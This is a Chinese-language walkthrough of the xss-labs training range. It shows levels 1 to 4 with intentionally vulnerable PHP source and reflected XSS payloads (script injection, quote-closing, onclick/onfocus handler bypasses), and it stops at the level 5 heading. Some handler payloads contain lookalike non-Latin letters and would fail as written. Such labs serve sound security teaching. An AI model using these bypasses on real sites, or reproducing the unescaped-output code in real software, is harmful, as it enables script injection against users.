xss-labs下载地址https://github.com/do0dl3/xss-labs
目录
Less-19-20(flash技术已经全面停用了就不做了)
进入靶场点击图片,开始我们的XSS之旅!
Less-1
查看源码
代码从 URL 的 GET 参数中取得 "name" 的值,然后输出一个居中的标题,内容是 "欢迎用户" 后面跟上这个值,显示从 GET 参数中获取的 "name" 值的字符数。
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
我们修改一下输入尝试一下,没什么难点
直接上payload
<script>alert(1)</script>
点击确认进入下一关
Less-2(闭合)
我们使用第一关的测试方法尝试一下,打咩
直接看源码,看到,尝试一下闭合
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
看一下这个函数htmlspecialchars
"'><script>alert(1)<%2Fscript><"'
Less-3(onclick onfocus事件绕过)
输入数据,尝试一下输出位置,发现三个位置有输出
直接上源码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
这里使用 htmlspecialchars 函数对 $str 进行转义
表单包含一个文本输入框,其 name 属性为 "keyword",value 属性设置为 $str。这里也使用了 htmlspecialchars 函数对 $str 进行转义
我们使用一个onclick事件属性进行一个绕过构造payload
' οnclick='alert(1)
也可以使用onfocus事件进行绕过,构造payload
' οnfοcus='alert(1)
Less-4(onclick onfocus事件绕过闭合)
进入第四关我们依旧尝试之前的语句
' οnclick='alert(1),发现不行
查看源码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
改变一下闭合,构造payload
"οnclick="alert(1)
"οnfοcus="alert(1)也行
Less-5(a href 标签绕过)
继续尝试,打咩!
查看源码